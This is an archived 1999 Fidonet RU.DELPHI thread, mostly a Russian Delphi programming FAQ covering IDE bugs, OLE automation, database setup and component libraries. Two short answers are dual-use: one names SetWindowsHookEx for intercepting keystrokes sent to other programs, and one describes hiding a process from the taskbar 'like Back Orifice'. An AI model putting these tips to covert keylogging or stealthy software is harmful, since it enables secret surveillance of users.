время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 321 of 341 - 296 + 328 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659093 17824 127.0.0.1 (3 Nov 1999 19:58:13 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:13 GMT A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [27]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 322 of 341 - 297 + 329 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659094 17827 127.0.0.1 (3 Nov 1999 19:58:14 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:14 GMT A: В поставке Delphi 4 есть пример. [28]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [29]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема? A: TStrings -- это абстрактный класс. Вам нужен TStringList. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [30]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [31]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [32]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([33]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [34]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [35]http://www.signsoft.com/opengl. Информацию -- на [36]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [37]http://reality.sgi.com/mjk за примерами и [38]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [39]http://www.chami.com/tips/delphi/103096D.html Еще на [40]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [41]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [42]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [43]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [44]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 323 of 341 - 292 + 330 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659095 17830 127.0.0.1 (3 Nov 1999 19:58:15 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:15 GMT Hа [45]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [46]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [47]http://www.blinkinc.com, WWPack32 [48]http://kolos.uni.lodz.pl/warezak, NeoLite [49]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [50]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [51]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [52]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 324 of 341 - 293 + 331 From : Alexey_Mahotkin 2:5020/433 03 Nov 99 22:58:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941659096 17833 127.0.0.1 (3 Nov 1999 19:58:16 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Nov 1999 19:58:16 GMT делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Срд Hоя 3 22:58:10 MSK 1999 Сгенерировано [53]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://msdn.microsoft.com/ 5. http://www.sysinternals.com/ 6. http://www.iarchitect.com/ 7. http://www.vireo.com/ 8. http://www.entechtaiwan.com/tools.htm 9. http://www.bluewatersystems.com/ 10. http://www.rxlib.com/ 11. http://www.altavista.com/ 12. http://ftpsearch.lycos.com/ 13. http://www.dejanews.com/ 14. ftp://bbs.ogo.ru/ 15. http://www.rxlib.com/ 16. http://www.dataweb.net/~r.p.sterkenburg 17. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 18. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 19. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#62_4 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#65_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#160_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#278_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#344_4 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#535_4 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#661_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#707_4 27. http://members.xoom.com/PolarisSoft/ 28. http://www.sawatzki.de/ 29. http://www.itecuk.com/delmag/thunk95.htm 30. http://delphi.da.ru/ 31. http://www.imagelib.com/ 32. http://einstein.ae.eng.ua.edu/nishita/index.htm 33. http://www.exceedsoft.com/ 34. http://www.geocities.com/SiliconValley/1142/ 35. http://www.signsoft.com/opengl 36. http://www.opengl.org/ 37. http://reality.sgi.com/mjk 38. http://www.scitechsoft.com/ 39. http://www.chami.com/tips/delphi/103096D.html 40. http://www.pbear.com/ 41. http://www.tsinet.ru/~vg 42. http://www.cyclic.com/ 43. http://alexm.here.ru/ 44. http://www.dic.ru/users/rusov/ 45. http://www.numega.com/ 46. http://www.listsoft.ru/programs/pr1520.htm 47. http://www.blinkinc.com/ 48. http://kolos.uni.lodz.pl/warezak 49. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 50. http://www.icl.ndirect.co.uk/petite/ 51. http://www.iconbazaar.com/ 52. http://www.rtfm.be/fpiette 53. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 325 of 341 From : Arkady Kopanitsa 2:5020/52 07 Nov 99 12:19:00 To : All Subj : TOpenPictureDialog ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news2.aha.ru!aha!not-for-mail .RFC-Sender: aik01@aha.ru@p154-n67.dip.aha.ru .RFC-Message-ID: <3825440a.1110212@news.aha.ru> .RFC-References: <38213725@p1.f50.n452.z2.fidonet.org> <3822f28c@p9.f730.n5030.z2.fidonet.org> <941919294@p1.f50.n452.z2.ftn> .RFC-NNTP-Posting-Host: p154-n67.dip.aha.ru .RFC-X-Trace: news2.aha.ru 941966340 5866 195.2.67.154 (7 Nov 1999 09:19:00 GMT) .RFC-X-Complaints-To: abuse@zenon.net .RFC-NNTP-Posting-Date: 7 Nov 1999 09:19:00 GMT .RFC-X-Newsreader: Forte Free Agent 1.11/32.235 From: aik01@aha.ru (Arkady Kopanitsa) Hi Eugeny! Eugeny Balahonov wrote: >> EB> Кто-нибудь не подскажет как мне заставаить TOpenPictureDialog >показывать в >> EB> предпросмотре GIF and JPEG? >> >> EB> А то только BMP и WMF ;-( >> >> А ты property Filter внимательно изучал ? > >Причем тут это? 8-[= =] >Файл виден, я на него кликаю и получаю исключение про неизвестный формат >файла Допиши в uses модуль jpeg - он родной, а для GIF тебе придется ставить постороннюю компаненту, у меня, к примеру, RxLib, тогда я в uses добавляю RxGIF - и все - сабж не ругается. Kopanitsa Arkady http://www.aha.ru/~aik01 --- ifmail v.2.14 * Origin: Mr. Postman (2:5020/52@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 326 of 341 - 319 + 336 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937605 28513 127.0.0.1 (7 Nov 1999 01:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:05 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.20 1999/10/17 12:22:06 alexm Exp $ (pearl trap) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, 